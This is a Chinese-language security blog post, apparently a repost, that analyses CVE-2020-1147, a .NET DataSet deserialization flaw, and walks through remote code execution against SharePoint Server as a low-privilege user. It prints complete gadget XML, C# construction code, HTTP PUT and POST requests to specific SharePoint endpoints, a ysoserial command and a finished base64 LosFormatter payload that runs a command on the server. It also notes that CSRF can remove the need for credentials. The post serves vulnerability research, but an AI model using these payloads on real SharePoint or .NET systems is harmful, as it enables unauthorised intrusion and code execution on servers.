SharePoint和Pwn:针对SharePoint Server滥用DataSet的远程代码执行

0x00 前言

7月,在CVE-2020-1147漏洞发布时,我很好奇这个漏洞的表现形式,以及如何利用这个漏洞实现远程代码执行。由于我对于SharePoint Server和.NET比较了解,因此决定深入研究一下。

在这篇文章中,我将详细分析CVE-2020-1147漏洞,该漏洞由Oleksandr Mirosh、Markus Wulftange和Jonathan Birch独立发现。我将分享如何针对SharePoint Server实例利用这一漏洞的详细信息,使用低特权用户的身份获得远程代码执行。需要特别说明的是,在这里我并没有提供完整的漏洞利用,因此如果大家遇到问题,需要独立解决。

我比较关注的一个点在于,Microsoft引用了与该漏洞相关的安全指南,具体如下:

如果传入的XML数据包含其类型不在列表中的对象,则会引发异常。反序列化操作将会失败。在将XML加载到现有的DataSet或DataTable实例中时,还应该考虑现有的列定义。如果表中已经包含自定义类型的列定义,那么在XML反序列化操作期间,该类型将被临时添加到允许列表中。

有趣的是,这里可以指定类型,并且可以覆盖列定义。奇热而这对我来说似乎很有帮助,让我们来看一下如何创建DataSet对象。

0x01 理解DataSet对象

在数据集DataSet中,包含数据表Datatable,其中包括数据列DataColumn和数据行DataRow。更重要的是,它实现了ISerializable接口,这意味着我们可以使用XmlSerializer对其进行序列化。首先,创建一个DataTable

        static void Main(string[] args)
        {
            // instantiate the table
            DataTable exptable = new DataTable("exp table");
                    
            // make a column and set type information and append to the table
            DataColumn dc = new DataColumn("ObjectDataProviderCol");
            dc.DataType = typeof(ObjectDataProvider);
            exptable.Columns.Add(dc);
                    
            // make a row and set an object instance and append to the table
            DataRow row = exptable.NewRow();
            row["ObjectDataProviderCol"] = new ObjectDataProvider();
            exptable.Rows.Add(row);
                    
            // dump the xml schema
            exptable.WriteXmlSchema("c:/poc-schema.xml");
        }

使用WriteXmlSchema方法,可以写出该模式的定义。这段代码会产生以下内容

< ?xml version="1.0" standalone="yes"? >< xs:schema id="NewDataSet" xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" >
  < xs:element name="NewDataSet" msdata:IsDataSet="true" msdata:MainDataTable="exp_x0020_table" msdata:UseCurrentLocale="true" >
    < xs:complexType >
      < xs:choice minOccurs="0" maxOccurs="unbounded" >
        < xs:element name="exp_x0020_table" >
          < xs:complexType >
            < xs:sequence >
              < xs:element name="ObjectDataProviderCol" msdata:DataType="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" type="xs:anyType" minOccurs="0" / >
            < /xs:sequence >
          < /xs:complexType >
        < /xs:element >
      < /xs:choice >
    < /xs:complexType >
  < /xs:element >< /xs:schema >

在查看DataSet的代码后发现,它使用WriteXml和ReadXML公开了自己的序列化方法(包装在XmlSerializer上)

System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
  System.Data.DataSet.ReadXmlDiffgram(XmlReader reader)
    System.Data.XmlDataLoader.LoadData(XmlReader reader)
      System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested)
        System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns)
          System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
            System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
              System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)

现在,剩下的步骤就是将表格添加到数据集中,并对其进行序列化

            DataSet ds = new DataSet("poc");
            ds.Tables.Add(exptable);
            using (var writer = new StringWriter())
            {
                ds.WriteXml(writer);
                Console.WriteLine(writer.ToString());
            }

这种序列化方式保留了模式类型,并在运行时使用实例化的XmlSerializer对象图中的单个DataSet预期类型来重建受到攻击者影响的类型。

0x02 DataSet Gadget

下面是可以构造的gadget示例,请注意,不要将它与ysoserial中的DataSet gadget混淆

< DataSet >
  < xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset" >
    < xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true" >
      < xs:complexType >
        < xs:choice minOccurs="0" maxOccurs="unbounded" >
          < xs:element name="Exp_x0020_Table" >
            < xs:complexType >
              < xs:sequence >
                < xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/ >
              < /xs:sequence >
            < /xs:complexType >
          < /xs:element >
        < /xs:choice >
      < /xs:complexType >
    < /xs:element >
  < /xs:schema >
  < diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1" >
    < somedataset >
      < Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted" >
        < pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
          < ExpandedElement/ >
          < ProjectedProperty0 >
            < MethodName >Parse< /MethodName >
            < MethodParameters >
              < anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string" >< ![CDATA[< ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system" >< ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start" >< ObjectDataProvider.MethodParameters >< System:String >cmd< /System:String >< System:String >/c mspaint < /System:String >< /ObjectDataProvider.MethodParameters >< /ObjectDataProvider >< /ResourceDictionary >]] >< /anyType >
            < /MethodParameters >
            < ObjectInstance xsi:type="XamlReader"/ >
          < /ProjectedProperty0 >
        < /pwn >
      < /Exp_x0020_Table >
    < /somedataset >
  < /diffgr:diffgram >< /DataSet >

这个gadget链将在不包含接口成员的Type上调用任意静态方法。在这里,我打算使用知名的XamlReader.Parse加载恶意Xaml来执行系统命令。正如@pwntester在研究中提到的,我使用ExpandedWrapper类加载了两种不同的类型。

可以在许多sink中利用它,例如

XmlSerializer ser = new XmlSerializer(typeof(DataSet));
Stream reader = new FileStream("c:/poc.xml", FileMode.Open);
ser.Deserialize(reader);

许多应用程序都认为DataSet是安全的,因此即使无法直接通过XmlSerializer控制期望的类型,DataSet也通常用于对象图中。但是,最有趣的sink是触发代码执行的DataSet.ReadXml

DataSet ds = new DataSet();
ds.ReadXml("c:/poc.xml");

0x03 将Gadget应用在SharePoint Server

我们查看了ZDI-20-874,该漏洞公告提到了Microsoft.PerformancePoint.Scorecards.Client.ExcelDataSet控件,可以用于远程执行代码。这立即引起了我的关注,因为其类名称中包含“DataSet”名称。我们来查看一下SharePoint的默认web.config文件

      < controls >
        < add tagPrefix="asp" namespace="System.Web.UI" assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" / >
        < add tagPrefix="SharePoint" namespace="Microsoft.SharePoint.WebControls" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" / >
        < add tagPrefix="WebPartPages" namespace="Microsoft.SharePoint.WebPartPages" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" / >
        < add tagPrefix="PWA" namespace="Microsoft.Office.Project.PWA.CommonControls" assembly="Microsoft.Office.Project.Server.PWA, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" / >
        < add tagPrefix="spsswc" namespace="Microsoft.Office.Server.Search.WebControls" assembly="Microsoft.Office.Server.Search, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" / >
      < /controls >

在控件标签下,我们可以看到Microsoft.PerformancePoint.Scorecards命名空间不存在前缀。但是,我们检查SafeControl标签,里面确实列出了允许的命名空间中的所有类型。

< configuration >
  < configSections >
  < SharePoint >
    < SafeControls >
      < SafeControl Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" Namespace="Microsoft.PerformancePoint.Scorecards" TypeName="*" / >
         ...

既然我们知道可以从这个命名空间实例化类,那么我们就可以深入研究代码以检查ExcelDataSet类型

namespace Microsoft.PerformancePoint.Scorecards
{
 
       [Serializable]
       public class ExcelDataSet
       {

我注意到的第一件事,就是它可以序列化,因此我知道它可以实例化为控件,并且默认构造函数将会与未使用System.Xml.Serialization.XmlIgnoreAttribute属性标记的所有公共设置方法一起被调用。SharePoint使用XmlSerializer从控件创建对象,因此,在代码中只需要找到可以使攻击者提供的数据流入TemplateControl.ParseControl的任何地方,就可以利用ExcelDataSet类型。

其中比较明显的一个属性就是DataTable属性,因为它包含一个公开setter,并且使用了System.Data.DataTable类型。但是,经过仔细检查,我们可以看到它正在使用XmlIgnore属性,因此我们无法使用这个setter触发反序列化。

[XmlIgnore]
public DataTable DataTable
{
       get
       {
              if (this.dataTable == null && this.compressedDataTable != null)
              {
                     this.dataTable = (Helper.GetObjectFromCompressedBase64String(this.compressedDataTable, ExcelDataSet.ExpectedSerializationTypes) as DataTable);
                     if (this.dataTable == null)
                     {
                            this.compressedDataTable = null;
                     }
              }
              return this.dataTable;
       }
       set
       {
              this.dataTable = value;
              this.compressedDataTable = null;
       }
}

上述代码揭晓了部分答案,但是getter使用compressedDataTable属性调用GetObjectFromCompressedBase64String。这个方法将解码提供的Base64,解压缩二进制formatter Payload,然后用它来调用BinaryFormatter.Deserialize。但是,代码包含反序列化的预期类型,其中之一就是DataTable,因此我们不能只在这里填充生成的TypeConfuseDelegate。

              private static readonly Type[] ExpectedSerializationTypes = new Type[]
              {
                     typeof(DataTable),
                     typeof(Version)
              };

在检查CompressedDataTable属性时,我们可以看到设置compressedDataTable成员不会出现问题,因为它使用的是System.Xml.Serialization.XmlElementAttribute属性

[XmlElement]
public string CompressedDataTable
{
       get
       {
              if (this.compressedDataTable == null && this.dataTable != null)
              {
                     this.compressedDataTable = Helper.GetCompressedBase64StringFromObject(this.dataTable);
              }
              return this.compressedDataTable;
       }
       set
       {
              this.compressedDataTable = value;
              this.dataTable = null;
       }
}

将上述组合在一起,我就可以注册一个前缀,并使用Base64编码、压缩和序列化的危险DataTable实例化控件

PUT /poc.aspx HTTP/1.1
Host: < target >
Authorization: < ntlm auth header >
Content-Length: 1688
 
< %@ Register TagPrefix="escape" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"% >< escape:ExcelDataSet runat="server" CompressedDataTable="H4sIAAAAAAAEALVWW2/bNhROegmadtvbHvYm6KFPtmTHSdoqlgs06YZgcRPE2RqgKDKaOrbZSKRGUraMYv9o+43doUTZju2mabHJgESfOw+/80kbmxsbG5/wMk9zfXcPb296U6Uh8Y6IJjXnd5CKCR7ueg3zqzmHWawzCSGHTEsS15yzrB8z+itML8Q18LD/7BnZo3v7zRetXWg8f/HQBP9xIWZxuyD9GO6j5qfZP+8cEqEZH9qU25dJ3KMjSMgTXB2xweAXSZL7m5s/2GDWztS8bUJtPcDb34/aL/Mkdsa2brfpNVwHOBURhg7dTA/qzX33Zef7x+1cBapI4KAHV6Hrlosgx/VI6zTw/clk4k1anpBDf6fRaPqX3ZOyqMo2URHuAANLbqOpesKoFEoMdJ2KJEC7emnlYlbHMXkhhgS4djhJIHRf5+lV3mjsNK6KTpRmpSEGSGPIL6YpWGkpV/BnhruaC9fFTSfcdcrUQdFnjBK6i2fRAzlmFJR3zDVITmIPayE8guitJGkK8o+dd++sw1vGIzFRXpfI6yz1LkkSnwOJQCIGJChMSzS2/Gc8JZgIef0N4Gk1+4PW8719ErX2d6G19762nLyo+rT/Aag2yzMpxuz/LeF9zVnXsf9gNFxHFweC50b41BzO7LQ0kUPQb3AbKiUUDDQTxk8pzSRiExHtz9Hgr8KhkC1DpxBagHwGiEokYPIr0LNSjpXZdw906GqZzUvsEsZnw7uK4crsNwWHmZSY40RQYiyLKHeAOB0JbPTSvhOSV/8y3heZgeq8G3fZd9mvYlI7Ww+RMv553I6QXYYyKB8k+ZbRtj5liC/5VInq46blhIXOV3tZ6qhji2RR0WynEDZnfZZicipxEoouWdMRUYcjwoeA3WJcgdTYrHmPkR5mhMe+zHh1DKEJgmxOk9EdeHKRoSpyeW1R5y8qcZbNWEOEC2QePW0saFFfTv2xLcLBmoNyfuZM5N6IiD5d0CMRmTnqnBGpoO0vSNZYohFqkArVDS3q7YQupMXtB0pLfK24naexPjgHJTJJ4YhRQ0JETqv3iu2RxYM3w4OHePAnjA9y07R9P8eN+OkCkc06/XUxKreSt0KXxrLOKy6x0gOiFCT9eBomigoZs37ldcTIcL2PZ1RcKM2omvurQuc+HeoD04ZVcnbyADkwdE9IxunoMMGBLY3K99HHPCg6a4IH6IPkqv5ynflB4SsL+VDfksFbPr3KtKw76BXHZIQ0iYzcX1Gstfapg5xFnc+7+F9RzBrbmWoVPEbV9i3sbmLVvwWsbf+WOWr7OPMzrlwiGEuWN5mo7S9xY+eB+dZa+gYzX15bV13yQUh8MG4erzIWR9tX5zBmxsR8Xz7C65791vxkryf/AlZRMe+GCgAA" / >

但是,我无法找到触发DataTable属性getter的方法。我知道我需要一种使用DataSet的方法,但是我并不知道如何使用。

多种方式实现目标

在我放松心情后,我决定以不同的方式来思考这个问题,并开始考虑还有哪些sink可以使用。然后,我想到了DataSet.ReadXml sink也是一个造成问题的来源,因此我再次检查了代码,并找到了这个有效的代码路径

Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet()
  Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet)

在ContactLinksSuggestionsMicroView类的内部,我们可以看到GetDataSet方法

              protected override DataSet GetDataSet()
              {
                     base.StopProcessingRequestIfNotNeeded();
                     if (!this.Page.IsPostBack || this.Hidden)                                                                       // 1
                     {
                            return null;
                     }
                     DataSet dataSet = new DataSet();
                     DataTable dataTable = dataSet.Tables.Add();
                     dataTable.Columns.Add("PreferredName", typeof(string));
                     dataTable.Columns.Add("Weight", typeof(double));
                     dataTable.Columns.Add("UserID", typeof(string));
                     dataTable.Columns.Add("Email", typeof(string));
                     dataTable.Columns.Add("PageURL", typeof(string));
                     dataTable.Columns.Add("PictureURL", typeof(string));
                     dataTable.Columns.Add("Title", typeof(string));
                     dataTable.Columns.Add("Department", typeof(string));
                     dataTable.Columns.Add("SourceMask", typeof(int));
                     if (this.IsInitialPostBack)                                                                                      // 2
                     {
                            this.PopulateDataSetFromSuggestions(dataSet);
                     }
                     else
                     {
                            this.PopulateDataSetFromCache(dataSet);                                                                  // 3
                     }
                     this.m_strJavascript.AppendLine("var user = new Object();");
                     foreach (object obj in dataSet.Tables[0].Rows)
                     {
                            DataRow dataRow = (DataRow)obj;
                            string scriptLiteralToEncode = (string)dataRow["UserID"];
                            int num = (int)dataRow["SourceMask"];
                            this.m_strJavascript.Append("user['");
                            this.m_strJavascript.Append(SPHttpUtility.EcmaScriptStringLiteralEncode(scriptLiteralToEncode));
                            this.m_strJavascript.Append("'] = ");
                            this.m_strJavascript.Append(num.ToString(CultureInfo.CurrentCulture));
                            this.m_strJavascript.AppendLine(";");
                     }
                     StringWriter stringWriter = new StringWriter(CultureInfo.CurrentCulture);
                     dataSet.WriteXml(stringWriter);
                     SPPageContentManager.RegisterHiddenField(this.Page, "__SUGGESTIONSCACHE__", stringWriter.ToString());
                     return dataSet;
              }

在[1]的位置,代码检查该请求是否为POST返回请求。为了确保这一点,攻击者可以设置__viewstate POST变量,然后代码在[2]的位置检查__SUGGESTIONSCACHE__ POST变量是否已经设置,如果已设置,则IsInitialPostBack getter将返回false。只要这个getter返回false,攻击者就可以到达[3],到达PopulateDataSetFromCache。该调用将使用已经使用特定模式定义创建的数据集。

              protected void PopulateDataSetFromCache(DataSet ds)
              {
                     string value = SPRequestParameterUtility.GetValue< string >(this.Page.Request, "__SUGGESTIONSCACHE__", SPRequestParameterSource.Form);
                     using (XmlTextReader xmlTextReader = new XmlTextReader(new StringReader(value)))
                     {
                            xmlTextReader.DtdProcessing = DtdProcessing.Prohibit;
                            ds.ReadXml(xmlTextReader);                                                                              // 4
                            ds.AcceptChanges();
                     }
              }

在PopulateDataSetFromCache内部,代码调用SPRequestParameterUtility.GetValue以从__SUGGESTIONSCACHE__请求变量获取攻击者控制的数据,并使用XmlTextReader将其直接解析为ReadXml。先前定义的模式被攻击者提供的XML内部的模式所覆盖,并且在[4]发生不可信类型的反序列化,从而导致远程代码执行。为了触发此操作,我创建了一个页面,该页面专门使用ContactLinksSuggestionsMicroView类型

PUT /poc.aspx HTTP/1.1
Host: < target >
Authorization: < ntlm auth header >
Content-Length: 252
 
< %@ Register TagPrefix="escape" Namespace="Microsoft.SharePoint.Portal.WebControls" Assembly="Microsoft.SharePoint.Portal, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"% >< escape:ContactLinksSuggestionsMicroView runat="server" / >

如果我们以低特权用户身份利用这一漏洞,并且AddAndCustomizePages设置已经禁用,那么就可以利用实例化InputFormContactLinksSuggestionsMicroView控件的页面来利用这一漏洞,因为它是从ContactLinksSuggestionsMicroView扩展而来的。

namespace Microsoft.SharePoint.Portal.WebControls
{
 
       [SharePointPermission(SecurityAction.Demand, ObjectModel = true)]
       [AspNetHostingPermission(SecurityAction.LinkDemand, Level = AspNetHostingPermissionLevel.Minimal)]
       [AspNetHostingPermission(SecurityAction.InheritanceDemand, Level = AspNetHostingPermissionLevel.Minimal)]
       [SharePointPermission(SecurityAction.InheritanceDemand, ObjectModel = true)]
       public class InputFormContactLinksSuggestionsMicroView : ContactLinksSuggestionsMicroView
       {

我发现了一些实现该控件的终端,但暂时还没有时间对其进行测试。(更新:Soroush Dalili对其进行了测试,并且确认它们的确是可以利用的)

    /_layouts/15/quicklinks.aspx?Mode=Suggestion
/_layouts/15/quicklinksdialogform.aspx?Mode=Suggestion

现在,要利用漏洞,我们可以对新创建的页面执行POST请求

POST /poc.aspx HTTP/1.1
Host: < target >
Authorization: < ntlm auth header >
Content-Type: application/x-www-form-urlencoded
Content-Length: < length >
 
__viewstate=&__SUGGESTIONSCACHE__=< urlencoded DataSet gadget >

或者:

POST /quicklinks.aspx?Mode=Suggestion HTTP/1.1
Host: < target >
Authorization: < ntlm auth header >
Content-Type: application/x-www-form-urlencoded
Content-Length: < length >
 
__viewstate=&__SUGGESTIONSCACHE__=< urlencoded DataSet gadget >

或者:

POST /quicklinksdialogform.aspx?Mode=Suggestion HTTP/1.1
Host: < target >
Authorization: < ntlm auth header >
Content-Type: application/x-www-form-urlencoded
Content-Length: < length >

__viewstate=&__SUGGESTIONSCACHE__=< urlencoded DataSet gadget >

请注意,也可以对每个终端进行CSRF攻击,因此不一定需要凭据。

0x04 最后一件事

我们不能使用XamlReader.Load静态方法,因为IIS Web服务器将模拟为IUSR帐户,并且该帐户对注册表的访问是受限的。如果尝试这样做,除非在IIS下没有金庸模拟,并使用了应用程序池标识,否则最终会得到这样的堆栈跟踪:

{System.InvalidOperationException: There is an error in the XML document. --- > System.TypeInitializationException: The type initializer for 'MS.Utility.EventTrace' threw an exception. --- > System.Security.SecurityException: Requested registry access is not allowed.
   at System.ThrowHelper.ThrowSecurityException(ExceptionResource resource)
   at Microsoft.Win32.RegistryKey.OpenSubKey(String name, Boolean writable)
   at Microsoft.Win32.RegistryKey.OpenSubKey(String name)
   at Microsoft.Win32.Registry.GetValue(String keyName, String valueName, Object defaultValue)
   at MS.Utility.EventTrace.IsClassicETWRegistryEnabled()
   at MS.Utility.EventTrace..cctor()
   --- End of inner exception stack trace ---
   at MS.Utility.EventTrace.EasyTraceEvent(Keyword keywords, Event eventID, Object param1)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader, List`1 safeTypes)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader)
   at System.Windows.Markup.XamlReader.Parse(String xamlText)
   --- End of inner exception stack trace ---
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle, XmlDeserializationEvents events)
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle)
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)
   at System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
   at System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
   at System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns)
   at System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested)
   at System.Data.XmlDataLoader.LoadData(XmlReader reader)
   at System.Data.DataSet.ReadXmlDiffgram(XmlReader reader)
   at System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
   at System.Data.DataSet.ReadXml(XmlReader reader)
   at Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet ds)
   at Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet()
   at Microsoft.SharePoint.Portal.WebControls.PrivacyItemView.GetQueryResults(Object obj)

我们需要找到另一个危险的静态方法或setter,以从不使用接口成员的类型进行调用。我想将这一部分作为留给读者的练习,祝大家好运!

0x05 远程代码执行漏洞利用

好吧,实际上,我是希望大家能完整地阅读这篇文章,而不只是急于找到漏洞的Payload,这样将有助于我们更好地理解基础技术。无论如何,要利用该漏洞,我们可以使用LosFormatter.Deserialize方法,因为这个类中不包含接口成员。为此,我们需要生成序列化的ObjectStateFormatter小工具链的Base64 Payload:

c:\> ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c mspaint

现在,我们可以将Payload插入到以下DataSet gadget中,并针对目标SharePoint Server触发远程代码执行。

< DataSet >
  < xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset" >
    < xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true" >
      < xs:complexType >
        < xs:choice minOccurs="0" maxOccurs="unbounded" >
          < xs:element name="Exp_x0020_Table" >
            < xs:complexType >
              < xs:sequence >
                < xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/ >
              < /xs:sequence >
            < /xs:complexType >
          < /xs:element >
        < /xs:choice >
      < /xs:complexType >
    < /xs:element >
  < /xs:schema >
  < diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1" >
    < somedataset >
      < Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted" >
        < pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
        < ExpandedElement/ >
        < ProjectedProperty0 >
            < MethodName >Deserialize< /MethodName >
            < MethodParameters >
                < anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string" >/wEykwcAAQAAAP8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC1BTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBtc3BhaW50IiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=< /anyType >
            < /MethodParameters >
            < ObjectInstance xsi:type="LosFormatter" >< /ObjectInstance >
        < /ProjectedProperty0 >
        < /pwn >
      < /Exp_x0020_Table >
    < /somedataset >
  < /diffgr:diffgram >< /DataSet >

针对IIS进程获得远程代码执行:

SharePoint和Pwn:针对SharePoint Server滥用DataSet的远程代码执行

0x06 总结

Microsoft将该漏洞的可利用级别评估为1,我们同意这一点,这说明应该立即对该漏洞进行修复。值得一提的是,这个gadget链可以用于使用.NET构建的多个应用程序,即使未安装SharePoint Server,也仍然会受到这个漏洞的影响。

0x07 参考资料

[1] https://speakerdeck.com/pwntester/attacking-net-serialization

[2] https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/dataset-datatable-dataview/security-guidance

[3] https://www.zerodayinitiative.com/advisories/ZDI-20-874/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值